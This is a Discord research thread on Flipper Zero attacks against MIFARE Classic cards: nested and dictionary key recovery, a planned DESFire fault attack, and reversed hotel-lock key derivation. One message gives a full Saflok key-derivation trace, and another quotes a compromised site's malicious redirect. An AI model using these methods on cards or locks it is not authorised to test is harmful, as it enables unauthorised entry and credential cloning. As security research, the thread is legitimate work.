I need to rip out the app icon of MFKey to save an extra 1.5 KB of RAM.

#

(of the app, not of the app icon itself)

#

the app icon's memory is freed but not if you use the icon in the app

vague grotto
#

About app: had lot of work last week, this weekend is free, I'll try to finish it at least now troll

regal storm
#

IMO the cracking should be kept out of the firmware (FlipperNestedRecovery, Mfkey32/MFKey, KDF), but the nonce collection deserves to be in OFW. Users shouldn't need to install FlipperNested to collect nonces, it should come out of the box as an extension of the official NFC app.

#

Curious what KDF's you were hoping to include though. Saflok?

vague grotto
#

Skylanders too

swift halo
regal storm
#

@oak granite What was the issue with the static encrypted cards again? You don't have Nt plain?

oak granite
#

second nt, yes

#

we have first plain nt (with weak randomness) and second encrypted nt

regal storm
#

Does the second, encrypted nT change on successive reads?

oak granite
#

no

#

static regardless of whatever

#

you can't change sector, CUID
key changing is useless

#

with some flipper updates I can change nt distance from ~24k to ~27k, so there is a way to control it somehow

#

pm3 completely fails at getting non random nt0

#

maybe too fast for the chip and need some delay... didn't check this way

#

chameleon ultra... has the same issues as flipper with nt distance, but on mfrc522. Also didn't check on it

regal storm
#

How is there a distance if the Nt is static?

oak granite
#

first nt is random

#

with low entropy, but random

regal storm
#

got it

#

that's so weird. I think I understand what you're working with now, just thinking about how you can solve it

oak granite
#

now I'm thinking too, how does it know which sector I will auth later? plain nt will match all card nested nt? But how? I'm again missing something?

fleet girder
oak granite
#

we are about different distance

fleet girder
#

are you sure? nonce_distance could just be authenticating nonces dependant on your distance from the device

oak granite
#

😥

#

I hope you using chatgpt

fleet girder
#

what good would chat gpt be?

oak granite
#

btw it doesn't depend on real distance or card placement 🤔

fleet girder
#

proximity authenticators do

regal storm
#

That's not the distance we're talking about here. shrug

#

Also I've been working on the attacks on Friday, Sunday, and today. I have to finish Static Nested by the 10th.

#

Been getting distracted by Hardnested and also DESFire because it's more interesting

regal storm
#

Added Nested nonce reading. Going to test it out this evening then add the known key checking tomorrow.

#

man I'm toast lol. Trying to get Static Nested done in the next 4 days, but I need to add the in parameter back into to our revised recovery function and that might take some effort.

#

Bsides CFP by me ends Sept 10

regal storm
# oak granite btw how it went?

We have a possible attack against DESFire now, which should work as a substitute attack for MIFARE Classic's Hardnested attack as well.

oak granite
regal storm
#

I have been reading the spec sheets for the STM25R3916 and it seems possible in practice, but we'll need to test it extensively.

#

The main variable is whether the card will reset if it doesn't have power for 30μs.

#

That's how long it takes to cycle the field off and on, including the instructions (which run in 15.63 ns).

#

If it doesn't reset in 30μs (microseconds) then we have an attack

regal storm
#

Another factor is the bus size. We're going to need to bruteforce it

#

It'll be either 8, 16, or 32 bits.

oak granite
#

isn't like ev1 and later has SCA prevention? Or you are trying something else

regal storm
oak granite
#

unfortunately I was banned from the iceman server due to not funny memes 😕

regal storm
#

JervalinHUH when

oak granite
#

some time ago

#

and meme was posted not into #memes

regal storm
#

my memes are probably worse so I appreciate the warning

#

tldr it's the EMFI attack

harsh cobalt
harsh cobalt
harsh cobalt
regal storm
#

I don't go to DEFCON and Black Hat is out of my budget so I usually go to small conferences

#

probably for the best this year too, dodged DefCOVID and Legionnaires Disease

harsh cobalt
#

I went to Defcon this year, avoided the legionnaires but did get a super mild COVID

regal storm
harsh cobalt
#

Haven't tested holding it for extended periods, but I don't see why it wouldn't work

regal storm
#

That is SUCH good advice, I have to share it back with our R&D group. Thank you! I'll make sure we test that.

harsh cobalt
#

The only downside is you're then having to do everything in transparent mode (or you'd have to switch in and out of it which takes time), but for this sort of thing that extra level of control is probably handy anyway

#

Real shame no MCU_CLK for counting cycles though

regal storm
#

If this works it could be one order of magnitude more precise

harsh cobalt
#

Yeah I believe it drives the modulation circuitry directly in that mode, so should be as precise as you can drive the pin

harsh cobalt
#

DMs always open for you @regal storm (I saw you asking in a notification, but not sure where the message went)

oak granite
#

@regal storm also what about darkside attack? On plans or no?

regal storm
#

The paper doesn't help either, it starts with a 3 page blog about NXP

oak granite
#

something also based on timing afaik... but chameleon ultra with same timing issues (on nested) can run it without problems (not all time and not on all cards)

#

like it synchronizes time that first nt0 is same, then try all 0xFF possible parity values, and then if parity is valid card will leak some LFSR (keystream?) bytes (?)

#

then you know better how key is recovered 🙂

#

some cards always leak those bytes (double dark side lol)

regal storm
#

As far as the parity goes we haven't implemented anything that takes advantage of it yet. It is planned though. I wrote the code to read the parity bits the other day

harsh cobalt
# regal storm I honestly don't even know what Darkside is <:kekw:919085012480040970> I thought...

weak PRNG + NACK bug which is when responding to an encrypted message from the reader, if the parity was wrong it would send a NACK, but if the parity was right it would just not respond, or vice versa - so you could exploit the NACK bug to determine if the parity was right or not for a given message leaking a few bits of the plaintext which you could then use to (slowly, with lots of attempts) recover the key during an initial (non-nested) auth

#

handy for recovering the first key of a card to then later use with nested attacks if you don't have easy access to a reader

#

only works on super old genuine nxp cards, a lot of chinese cards even with weak prngs don't have the prng bug, and NXP fixed the nack bug at the same time as they fixed the prng (although I suspect with a hardened prng it wouldn't work anyway)

#

from memory it's quite sensitive to the prng prediction too, so an acr122u for example takes much longer to do the attack because of the looser timings with stuff going over usb etc than the proxmark3 where the timings are gathered on the mcu directly where the timings between the mcu and the card are extremely consistent

regal storm
#

There's still useful information here even if the attacks are out of date. We may have missed an optimization, I'm looking into it.

#

(not the NACK bug)

regal storm
#

Continuing today, lost yesterday cry also got distracted with porting Apple BLE Spam to OFW

regal storm
#

@crude vortex Details on our proposed EMFI attack, planned to begin 3-4 weeks from today: #738090248340242432 message

#

tl;dr attacking the bus size of DESFire EV1-EV3

oak granite
#

@regal storm how big is your team btw?

oak granite
#

ohhh

regal storm
#

Right now there's not much R&D going on because I'm finishing up Static Nested, which is already solved. Just writing the last of the code.

#

Then it's Full Nested, then Hardnested and DESFire

oak granite
#

remembers me @vague grotto and his "small bad code refactoring"

regal storm
#

also it's about 20-40x faster than FlipperNestedRecovery currently btw

#

just limited by the FZ

#

main two optimizations: skipping already solved nonces, running recovery once instead of twice

#

the new MFKey Flipper application already skips nonces that are solved, fixing recovery and it's done. Uploading progress tonight

regal storm
#

~5 lines of code until Static Nested is working on FZ. Came close but need to pass out, sleep deprived

regal storm
#

Well damn

#

The code is done but there's a bug, I'll need to track it down

#

There's only two possible culprits: check_state or the in parameter.

#

Everything else is correct

#

I can test it against a working Nested attack to find which one of them is having issues, will do that tomorrow

regal storm
#

I found one of the bugs, but there's a second issue. I'm walking the state back through each of its operations to isolate which function causes it to not be generated.

regal storm
#

Static Nested is complete

regal storm
#

We may have identified a much, much faster dictionary attack method. Like seconds instead of the current 10-15 minutes.

#

(for the regular NFC scanning process)

regal storm
#

So, I'm excited about this. Someone tell me why this revised process won't work.

1. Hold Flipper Zero up to MIFARE Classic card
2. Standard dictionary attack begins with common keys
3. As soon as the first key is found, the LFSR is analyzed to determine if the nt value is predictable
\_ New mode:
  1. If nt is predictable, use the first key to collect nonces from all of the remaining 15 (or 39) sectors using Nested authentication
  2. Rapidly bruteforce the key for all of the remaining sectors without having to further auth to the card using dictionary ks1 verification
  3. Store all uncracked nonces
4. Continue standard dictionary attack (if previous attack failed)
oak granite
#

yes, if nt is predictable

#

all goes into this...

regal storm
#

It seems like it would be worthwhile to add to the standard dictionary attack.

oak granite
#

if we can somehow fix nt of course yes

regal storm
#

Need to walk before you can run, there are 3 classes of cards

#

We fix the Static group, then we fix the ones where nt is less predictable, then the hardened cards

#

My goal is to get Nested attacks into the official NFC app regardless, but this looks like the best way to introduce it. A new dictionary attack mode using the ks1 key checking and Nested auth.

#

this would cost maybe a few hundred bytes of RAM to add to the NFC FAP

#

it would also eliminate having to use FlipperNested for cards with a Static PRNG. FlipperNested would only be a step for harder PRNGs.

oak granite
#

btw all cards (except static) are vulnerable to hardnested, so if we won't be able to fix nt, we can always run hardnested (again, except static ones)

#

and hardnested implementation on nonce collection side is way easier

regal storm
#

I gave the new MFKey 200 Static Nested nonces. It solved them in 20 minutes. It solved 10 nonces per minute lol

oak granite
#

lol

#

its with full ram requirements, or lower?

regal storm
#

that was running at half speed

#

I didn't want to reboot my FZ for full speed

oak granite
#

5 minutes to crack card with all different keys is fast

regal storm
#

There were only 4 keys though. 170 nonces cracked immediately

oak granite
#

this... isn't how you supposed to tell speed

regal storm
#

Yeah I'm still determining the actual keys per minute

#

we can roughly estimate it from those numbers, given 4 keys

oak granite
#

5 minutes are still faster than checking 1300 keys I think

regal storm
#

there's still one unsolved optimization we need to look at, the parity bits

#

if we can reduce the number of states being processed by the expected plaintext parity, it's possible we can fit the last optimization into memory

#

then the entire attack would run in sub-1 min

#

states are reduced at steps 8, 12, and 15. I'm thinking we can actually jump ahead to 15 using our state_loop code (we already do this) and only store states which result in the expected parity

oak granite
regal storm
#

storing even just the index in the array would cause us to run negative on our memory savings

#

pigeonhole principle

regal storm
oak granite
regal storm
#

Yes

regal storm
#

For this attack: #1134994594661146674 message

It shouldn't matter if there's a distance.

#

Calculating ks1 can be done for a large number of shifts in well under a second

#

So even if getting nt is less predictable, it shouldn't matter unless it's a hardened PRNG

lean sundial
regal storm
#

I'm going to try and write it in the next few weeks then! I agree though, I'm not seeing yet why it wouldn't work either. It would be an efficient shortcut around the longer dictionary attack if we can take it.

#

If the PRNG is hardened we've lost almost no time (a few milliseconds) and the dictionary attack can continue.

regal storm
#

Faster Mfkey32, Nested, Mfkey64, EMFI MIFARE attacks on the FZ

regal storm
#

Identified the changes that need to be made to the the NFC Refactored branch so that the optimized Nested dictionary attack can be performed

#

mf_classic_poller.c is the main file that needs to be modified (likely around mf_classic_poller_handler_key_reuse_start )

regal storm
#

We found another possible optimization for Mfkey32 using a certain parity bit

regal storm
#

I'm hoping to find out if we can eliminate half of the states using 33 bits of keystream instead of 32 bits

#

It should work for both Nested and Mfkey32 attacks

#

(guess it would technically be Mfkey33.. the long awaited sequel of Mfkey32 troll )

#

for every byte of ciphertext it includes 1 bit of parity. this means the 4 byte ciphertext {aR} and in Nested {nT} both include 4 bits of parity computed over the plaintext and encrypted

#

the parity bit is encrypted using the next bit of keystream, which means the last parity bit would be keystream we are currently not collecting

regal storm
#

No because the other 3 bits of keystream are reused, we already have them

#

each box represents a bit

#

so the last parity bit is the only bit of keystream we don't have/isn't collected by Detect Reader yet

lean sundial
#

HAHAHA

#

this is fuckin awesome

oak granite
#

@regal storm mfkey32 will be ported to rp2040?

regal storm
#

There are two additional attacks we need to look into as of last week. I'm drowning in research lol

regal storm
#

A zero key EMFI attack against MIFARE Classic and a Nested-Mfkey3(2?) hybrid attack against the reader.

regal storm
oak granite
#

1000$ chinese DRMed cloners fan 😅

regal storm
#

Also won the CTF while doing my talk at the same event lol

#

black badge

shell hatch
#

Hot.

regal storm
#

Yesterday I attended a local cybersecurity club meeting. Someone asked about how to read data off their MIFARE Classic card. I used the dictionary attack to get 19 keys, FlipperNested to get nonces, and MFKey to recover the keys on the Flipper in 3 minutes running at half speed. 32/32, all on the Flipper Zero party

#

We'll get it working faster though, it was Static Nested so the official NFC app should be collecting the nonces for an accelerated dictionary attack. That would cut the dictionary time down to a few seconds and eliminate FlipperNested from the steps.

#

Also reducing the memory of MFKey to run at full speed, Mfkey33, etc

#

I know someone working on reversing the KDF for that card too, planning on baking it into MFKey.

swift halo
#

skylanders and disney infinity have public kdfs

regal storm
#

I think Skylanders is already baked into the firmware, I'll have to double check

swift halo
regal storm
#

ahhh gotcha

#

perfect clap

oak granite
#

I haven't been reading #nfc for some days, did I miss your talk video or you didn't upload it yet?

regal storm
#

Been distracted with trying to get DESFire fixed on the NFC Refactor branch. I can see if I can get it uploaded tn
edit: video needs more editing

rotund parcel
#

saflok kdf reversed, dont sue me plz

lean sundial
#

Yoooo

#

@swift halo get in here

regal storm
#

I'm testing it out now

swift halo
#

👀

#

Cool, is it published somewhere?

regal storm
#

Okay, I just tested it out

#

worked on 5 cards in a row

#

I have like 30 more but yeah, it's definitely working omg

lean sundial
#

If it’s not openly published is there a place I can submit my begs and please to

rotund parcel
#

Not published yet. Need to convert it to C for the flipper

#

But here's a sneak peak

#

UID: 5E479FB4
Magic Byte: 22
Magickal Index: 24
New UID: 225E479FB422

Byte2: 22
Magickal Index(+11): 35
Byte1: 9D
Byte3: BF
Tally: 0
Key: BF0000000000

Byte2: B4
Magickal Index(+11): 34
Byte1: 2C
Byte3: E0
Tally: 0
Key: BFE000000000

Byte2: 9F
Magickal Index(+11): 33
Byte1: 0D
Byte3: AC
Tally: 0
Key: BFE0AC000000

Byte2: 47
Magickal Index(+11): 32
Byte1: 58
Byte3: 9F
Tally: 0
Key: BFE0AC9F0000

Byte2: 5E
Magickal Index(+11): 31
Byte1: 43
Byte3: A1
Tally: 0
Key: BFE0AC9FA100

Byte2: 22
Magickal Index(+11): 30
Byte1: 8F
Byte3: B1
Tally: 0
Key: BFE0AC9FA1B1

Generated Key: B1A19FACE0BF

regal storm
rotund parcel
#

The moment u all have been waiting for. Mr. Wu has taken his time out of his busy schedule to bring us....

#

Drum roll 🥁🥁🥁🥁

regal storm
#

well done Mr. Wu! party going to pull this into MFKey when it's possible, been under the weather without much research time

rotund parcel
#

Mr. Wu is not on discord but he is glad he could contribute to the community

regal storm
#

so that leaves Skylanders and one other one. should make running MFKey a nicer experience

#

also fyi @lean sundial

regal storm
#

Faster Mfkey32/33, Nested, Mfkey64, KDF, EMFI MIFARE attacks on the FZ

#

as a reminder, the up to date status on all of the research is here: #1134994594661146674 message

#

Faster Mfkey32/33, Nested, KDF, EMFI MIFARE attacks on the FZ

#

and I removed Mfkey64 from the schedule. Sniffing is very hit or miss even without the hardware limitations. It won't be as big of a win.

#

If Mfkey32 can be improved it's a superior attack

harsh cobalt
#

33 you mean? 😁

regal storm
harsh cobalt
#

ah yeah that one hacks desfire right? 😄

regal storm
#

We made good progress on the VingCard KDF today. Located the function and we know at least 1 byte of key A. I decided to pause until early December. I have a few deadlines to meet, and I'm out of time that I can volunteer this month (even though everything on the agenda is still very exciting). Hopefully the Flipper team can make some progress on https://github.com/flipperdevices/flipperzero-firmware/issues/3197 in the meantime.

regal storm
#

if each possible Nt has 4 bits of parity, why are we only validating against 3

#

I'm sure there's a reason but it's not obvious to me yet

#

(& would reduce the Full Nested search space if there's no reason)

#

could be this part BIT(Ks1, 0))) (because it's using an earlier keystream bit) but we should have that too unless I'm mistaken

regal storm
#

(by rolling back the filter function with the guessed nt^uid or something like that, much cheaper than running recovery)

regal storm
#

Also I glanced at the parser plugins that were recently added in 0.94.0+, as suggested by AloneLiberty and Foxushka. Seems like they might work, I'll take a closer look

regal storm
#

feel free to poke fun at the schedule but I think these are all of the necessary changes in order to get it all set up

#

a new flipc sounds hard but it's probably the easiest thing on the list

#

just a bit time consuming. basically a month

#

also all but 1 of the KDF's are already done, so it's a matter of making the plugin

oak granite
#

no static encrypted nested 😢

regal storm
#

if there are any specific brands known to have the issue lmk

harsh cobalt
#

no Salto? 😄

#

(that one's a lot harder, keys and KDF are in the firmware, which is of course encrypted...)

oak granite
#

@regal storm probably you need to tweak MIN_RAM after NFC refactor. @vague grotto ran quick debug why app is crashing flipper and crash is related to malloc. Last firmware version + last app version. Bumping MIN_RAM value to bit higher eliminated all crashes. He said you can fix it way better. Attaching nonces just in case

regal storm
#

Yeah but it's always running at half speed, which means we need to fix the memory usage itself

barren heath
regal storm
#

I just bought a VingCard encoder, and I have the Vision software to use it

#

The VingCard KDF is getting solved in the next 1.5 wks

regal storm
regal storm
swift halo
harsh cobalt
regal storm
#

We're going to find out

merry wren
#

those flipper NFC plugins are nice, i made one for the Philips sonicare a few days ago

regal storm
#

Did you @merry wren ?

#

That would be helpful as a reference

#

found it

merry wren
merry wren
regal storm
#

ah so the parser doesn't supply the key

merry wren
#

nope. but the reader does

regal storm
#

all good, I'm putting the key derivation in the module. instead of having hardcoded keys it'll generate it based on the card UID. I based the work in progress on the same one you linked, plantain.c

merry wren
#

yeah its a great example

regal storm
#

It's a bit of a hack, absent an official KDF interface.

#

It's a parser which never parses or reads anything. All it does is verify whether the key works, but it should tell the NFC application it failed while updating the key.

#

We are not providing any unique insight for how Saflok data is read. We are only supplying a key.

oak granite
regal storm
#

Do they? I had difficulty tracking that down in the code with all of the callback logic. As far as I could tell it was after, which is when it would logically run (to parse the data).

oak granite
#

yes, they are

#

if verify is true > read > if still missing keys continue dictionary attack (?)
if verify is false > jump to dictionary attack
parse (or how function is called, where we get human readable text) is called every time, even if verify is false (because also runs on saved dumps)

regal storm
#

I'll see if I can work around the parser-specific implementation details then, and I'll define an empty parse function. I appreciate the guidance. love If it runs before the dictionary attack that would be ideal/awesome.

#

Wish parse could be NULL but I'll take what I can get lol

#

it is a parser plugin after all

merry wren
regal storm
#

That means you should be able to take a property of the card like the UID and directly calculate the key that you had to use Nested to find.

#

The "secret" is the algorithm.

#

The more algorithms we know, the fewer people will need to use MFKey or Nested. The Flipper will be able to scan the cards since all of the keys are known.

#

This applies to tens of millions of cards.

harsh cobalt
regal storm
#

*derived keys, good catch like

merry wren
regal storm
#

You'd most likely need the SALTO software, which is installed at the front desk and on each of the readers.

#

Speaking of VingCard, the encoder is a few miles away from me right now

#

I'm nearly done with the Saflok KDF plugin, I have a plugin loading now

merry wren
#

jk

regal storm
#

one of the NFC Experts might know better

#

for Saflok it was the System 6000 software, for VingCard it was Vision/VisiOnline

merry wren
#

oh yeah we def had this system, i recognize those standalone lock's

#

damn so close

regal storm
#

it would be on the locks or the SALTO clients

#

something that really stood out to me is that I think one piece of software might have almost every KDF? Oracle Hospitality OPERA

#

I was hoping @swift halo or @lean sundial might know better

#

but every one that I'm aware of is listed there, with stated "General Availability"

regal storm
#

I mean, I quantified it with almost lol

#

there's a really extensive list there

#

Wasn't sure if you've heard of Oracle Hospitality OPERA or what the KSS interfaces are used for

#

It says Key Services System Interfaces

swift halo
#

nope

#

I've not even heard of a piece of software that brought together the toys2life kdfs, let alone digging into hospitality

pale shadow
#

the KSS responds to Key Request messages defined here. there's some more details about operation

#

ctrl f Key Request p69. I can't really tell but it doesn't seem that the KSSes ever return the keys for contact less cards to OPERA

regal storm
#

I'll have to read that doc a bit closer, nice find

harsh cobalt
regal storm
#

that's a big time save right there if it's true

harsh cobalt
# regal storm How do you know this? Just curious

Because I've completely reverse engineered the software already. MFC at least is just a static key though, no kdf, but yeah keen to figure out desfire and ULC both of which seem to be done a little better

regal storm
#

Ohhh okay!

#

Well at least we don't have to worry about getting ProAccess/HAMS now!

oak granite
regal storm
#

could dump the firmware off of it

pale shadow
#

Do the KDFs ever take other input like a site code or do the known ones only use the UID as an input? The latter scheme seems a bit broken, based on "security by obscurity."

pale shadow
# regal storm

also note the KA record is not required, the peripheral can just ACK the KR record. So even that info is not guaranteed

regal storm
#

builds are going to be running later today. should have our first KDF bundle.

regal storm
#

Looks alive party going to bring it to the lab by me tomorrow and we'll recover the VingCard KDF

#

just for MFC

harsh cobalt
harsh cobalt
merry wren
#

i can get my hands on a Salto xs4 wrm9001 for 20$ lol. worth it to buy and try dump the firmware?

harsh cobalt
#

Link if it's somewhere that ships to AU 😂

merry wren
#

its in the Netherlands lol

#

seen better days tho

#

uhm uhhh

#

i literally searched "salto reader firmware update" troll

regal storm
#

I've never downloaded a file so fast

#

now let's just hope it's not obfuscated or encrypted

merry wren
#

goodluck NPlike

#

i have to go up in 4 hours damnit

#

all the firmwares are accessible if you have the proacces space software. based on their German instructions

regal storm
#

the firmware update looks encrypted

harsh cobalt
#

It is yeah

regal storm
#

rip

harsh cobalt
# regal storm

Fancy. I normally just run it through lzma and see if it gets significantly smaller, if not I figure it's encrypted 😂

regal storm
#

it is good for searching for hex bytes incl. regex, it's a disassembler, and a few other things

swift halo
#

sounds like binwalk...well, except binwalk isn't a disassembler

pliant marlin
regal storm
#

what is mykey?

#

also if it makes you feel any better, i was beat to adding a working KDF to my own KDF repository

regal storm
#

my search for a static encrypted card is apparently over. I'm not sure how many of them I have but PM3 just reported one of the cards I test with as one

regal storm
#

2 in a row, it's my lucky night

pliant marlin
regal storm
regal storm
#

Saflok KDF is working and tested extensively

#

All Saflok cards read 32/32 keys instantly

regal storm
#

going to start running builds through GitHub actions

regal storm
#

builds should be working, testing

#

Yep, all working!

regal storm
mystic pine
#

Fancy

#

Good work

regal storm
#

Just wait til #1173435973770682388 is ready, then you'll be able to one click install one or all NFC plugins like

oak granite
harsh cobalt
oak granite
harsh cobalt
#

Oh sure, I thought you meant changing the current zip

swift halo
#

I suspect some KDF won't be able to be in the app catalog

regal storm
#

I figure none will be allowed, not after Skylanders was rejected

#

that's the point of #1173435973770682388

#

it'll bring the KDFs to OFW in a convenient way

#

I have about 3-4 KDFs on my list that I'd like to add plugins for (VingCard, Skylanders, Disney Infinity, Sonicare) plus the one open PR to the repo right now but I'm out of time.

#

sucks because we got the VingCard encoder talking to the Vision software, plus the Vision software talking to the encoder, but there's no listening service on either one and the drivers aren't working well. Using a VingCard reader is another option if this doesn't work, but I anticipated it being done by Sunday

#

it is what it is

regal storm
#

If anyone here is at Hush, I'd be happy to meet up and hang out after the MFC talk

oak granite
regal storm
#

I haven't uploaded it yet because it's a little difficult to listen to. I tried a few services that automatically fix the audio but it didn't work, so I'm manually editing the audio track. I'd record the presentation I'm giving later today but there's two issues with it. It has info I couldn't give at the last talk, and there is a strict no video or pictures policy at Hushcon.

#

Also I scrolled up but I didn't see an update on this. Builds are running successfully for OFW, no reported issues yet. I'll get Dojo to support the KDFs as soon as we finish up VingCard. The KDFs have been merged with most custom firmwares directly.

#

I'm thinking about closing the ticket for the KDF plugins. There are enough NFC issues right now and I'm happy with the parser plugin interface, even if it's a bit clunky and you need to build for each firmware version.

pliant marlin
regal storm
#

Change of plans. I'm moving up Nested attacks in the schedule and working on them now.

merry wren
#

as a "plugin"? or just refactor the existing app

regal storm
#

Refactor

#

If it's in the presence of a MIFARE Classic card it should automatically collect Nested/Hardnested nonces if it has at least one key, and optionally do a fast Nested dictionary attack. These are features that should be baked in, not available via plugin. I also want to change the display text of "Detect reader" to be clearer.

swift halo
#

I also want to change the display text of "Detect reader" to be clearer.
💖

merry wren
#

LEGEND NOPROTO❤️❤️❤️

floral coral
#

❤️

regal storm
#

Seems like the really interesting stuff is all in:
lib/nfc/protocols/mf_classic/mf_classic_poller.c
lib/nfc/protocols/mf_classic/mf_classic_poller_i.c
We may need to modify lib/nfc/protocols/mf_classic/crypto1.c a bit too, for the ks1 validation code and perhaps a few other things. Nothing to do with cracking, all cracking will stay in the MFKey FAP.

#

ideally lib/nfc/protocols/mf_classic/mf_classic.c seems like the best place to start making changes, in mf_classic_get_read_sectors_and_keys when keys_found == 1 (because that's the instant we can perform a Nested attack). although there may be a higher level section of the code that's more appropriate (nfc_dict_attack_worker_callback, mf_classic_poller_handler_read_sector, mf_classic_set_key_found), still looking

regal storm
#

possible static nested solution and improved mfkey attack (need to test): #nfc message

regal storm
#

@crisp plover on the same note, could you pin the first message here? It keeps track of each part of this project, and we're almost 900 messages in

lean sundial
lean sundial
#

Never mind

regal storm
#

you can, there are a few threads that have pins

#

thank you! clap

crisp plover
#

Ill be sure to fin a way that allows you nerds to pin messages in threads. It probably already exists

low cloak
#

I’m eagerly following this. Thank you so much for your work on this!!

swift halo
regal storm
#

Finally understand the NFC stack. Going to sketch out what changes need to be made now and begin implementing them

#

(the new stack)

hidden nexus
#

so question - is there an entry in the log I can see when the NFC app uses one of the KDF plugins to get a key?

regal storm
#

otherwise you know the KDF matched and it identified all of the keys, by checking how many sectors were read

swift halo
#

I'm also wondering if my skylanders parser plugin might be a bad idea, if you also are looking to create a skylanders KDF plugin which a person would load (since they'd have to replace the parser one with the KDF one: why not just have parsing in the KDF one, you know?)

regal storm
#

there is no dedicated KDF API yet, but KDF plugins do exist. there are at least 3 of them

swift halo
regal storm
#

oh, I don't think that will ever happen

hidden nexus
#

gotcha - been trying to follow along - I have a set of test cards - the refactor is very fast, but i can't remember which cards I've already scanned - just wondering if there was an easier way to test it all than deleting my cache and reboot

regal storm
#

they're all included in CFW but for legal reasons I think they're shying away from it being in OFW

hidden nexus
#

(err test cards - I mean MFC hotel cards that are vuln to different attacks)

swift halo
regal storm
#

it's surprising because you look at the proxmark project and wonder, how is it different from the keys in the dictionaries for instance? the proxmark already has all of these KDF's in code

swift halo
#

I've only played with the plugins via the "Info" of an existing nfc file, so there is a lot about their use during read that I'm just not up to speed on (like if they are before or after the dictionary)

swift halo
regal storm
#

so what does the Flipper firmware team have to worry about that the proxmark project doesn't? regardless, it seems they already made a decision with Skylanders which is why I started the KDF repo

#

with the Flipper Dojo, all of the KDFs will be a one click install for OFW

swift halo
regal storm
#

I thought the RFID Research Group or Proxgrind were companies

#

as a side note, the site for the RFID Research Group and Proxgrind are selectively delivering malware to me, which is interesting

#

when I force refresh it delivers the normal site, so I think there's some kind of browser detection/js detection going on

#

force refresh

#

happens when you have no PHP session, so they check if you have already been delivered the payload once

#
$ curl 'https://proxgrind.com/' --compressed -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://www.google.com/' -H 'DNT: 1' -H 'Sec-GPC: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: cross-site' -H 'Sec-Fetch-User: ?1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
<html> 
  <head>
   <meta name="referrer" content="no-referrer" />
   <script>
   window.location = "https://millfarborn.live/?utm_campaign=INccHxHRWrew3TQsLBbfNnbGFYUZobMqxXT9Zrw5FhI1&t=main9expsess";
   </script>
  </head> 
  <body>
  To the new location please <a href="https://millfarborn.live/?utm_campaign=INccHxHRWrew3TQsLBbfNnbGFYUZobMqxXT9Zrw5FhI1&t=main9expsess"><b>click here.</b></a>
  </body> 
</html>
#

oh yeah for sure, that doesn't look friendly

#

I let the proxmark project know their sites are compromised.

swift halo
#

and IIRC they only claim to make the hardware and leave the software to the community

regal storm
#

Ahh I see

regal storm
#

It's clear to me now that the Nested attack logic must live in the poller alongside the dictionary attack state machine.

#

One or more of the poller functions needs to be modified to update the state via instance->state to direct the state machine to a fast Nested dictionary attack and collecting Nested nonces.

#

as far as collecting the 33rd parity bit for MFKey goes, that appears to be a change to the listener or poller (mf_classic_poller_i.c/mf_classic_listener.c). I'll figure that out later.

#

We could also send a callback from the poller to inform the NFC app that we're running Nested attacks, and display it visually in the NFC app while the card is being read.

#

I think those are all of the changes that we'll make, besides renaming Detect Reader to Collect Nonces and making sure it only collects nonces we don't have keys for. Time to port FlipperNested in the firmware, I'll update when we get it running.

regal storm
#

I was able to recover nr plain, but not yet the nested nr. I also looked around for some reference implementations, no luck. Still seems like the proxmark implementation of Crypto1, if accurate, would be vulnerable.

pliant marlin
#

Emulation side corners were cut in order to favor emulation speed vs accuracy

harsh cobalt
#

originally a lot of MFC readers used the same PRNG on readers as well as cards

#

the weak one

#

I believe the PM3 implementation mirrors that behaviour when emulating both cards and readers

mystic frost
#

Hi!
I'm trying to use Mfkey32_wnested but I keep getting an error message which says Nonces already cracked, when in reality, no nonces were cracked and the nonces file is still sitting lonely in the .nested folder with no cracked keys...

Is this behaviour normal? Am I missing something obvious?

swift halo
#

(I suggested posting here to it doesn't get lost in #nfc )

regal storm
#

It's not Mfkey32 with Nested

#

it's MFKey (we changed the name to indicate it's not only Mfkey32)

#

you will get the Nonces already cracked error when the app finds Nested nonces without a distance, or Mfkey32 nonces, where you already have a key for all of the nonces

#

the app is saying "nothing to do here, we have all of the keys already for the nonces we can crack"

mystic frost
#

What if I have no keys (the nonces file was just created and never cracked + no folder was created for that specific UID), just the minimum one found in the dictionary?

regal storm
#

If the nonces file has a line that reads "Distance" at the end, it is ignored

#

If you don't have the keys, then that's the case. It is either "Full Nested" or Hardnested, both of which are unsupported.

mystic frost
#

Oh, wait, I know why it won't try to crack the nonces!
For some reason, despite the option being disabled in FlipperNested, the nonces were collected as Hardnested

#

Filetype: Flipper Nested Nonce Manifest File Version: 3 Note: you will need desktop app to recover keys: https://github.com/AloneLiberty/FlipperNestedRecovery HardNested: Key A cuid 0xfc1de8c1 file /ext/nfc/.nested/FC1DE8C1/15_0.nonces sec 15 HardNested: Key B cuid 0xfc1de8c1 file /ext/nfc/.nested/FC1DE8C1/15_1.nonces sec 15

regal storm
#

Yep, that would do it

mystic frost
regal storm
#

It means your card is hardened. It can't currently be cracked by a Flipper Zero alone.

#

most cards aren't hardened so you are unlucky, but you can still crack those cards

mystic frost
#

Ohhh, alright
It now makes sense

#

Thanks!!

regal storm
#

I have the firmware and NFC app analyzing the PRNG now. Turns out only 2 out of my 150+ test cards are true Static Nested cards (independent of time), those are the cards that we'll start with. Then we'll progress onto the other Static Nested cards tonight (reliable and predictable PRNG), which the rapid Nested dictionary attack should also be applicable for.

hidden nexus
#

I'm happy to look through my collection of cards if you need a couple more. Would be helpful to know what I can run to confirm they are useful if so - I have a proxmark I'm very familiar with, just not very familiar with analyzing traces, so if you tell me what to look for I can check my collection sometime in the next couple weeks .

regal storm
hidden nexus
#

can do 👍 I am eagerly watching this

regal storm
#

Correctly identifying Static Nested cards, turns out I have 8 or more

58222 [E][MfClassicPoller] nt: 01200145
58334 [E][MfClassicPoller] nt: 01200145
58447 [E][MfClassicPoller] nt: 01200145
58560 [E][MfClassicPoller] nt: 01200145
58673 [E][MfClassicPoller] nt: 01200145
58786 [E][MfClassicPoller] nt: 01200145
58915 [E][MfClassicPoller] Detected Static PRNG
90236 [E][Iso14443_4aPoller] ATS request failed
91588 [E][MfClassicPoller] nt: 863bcbcb
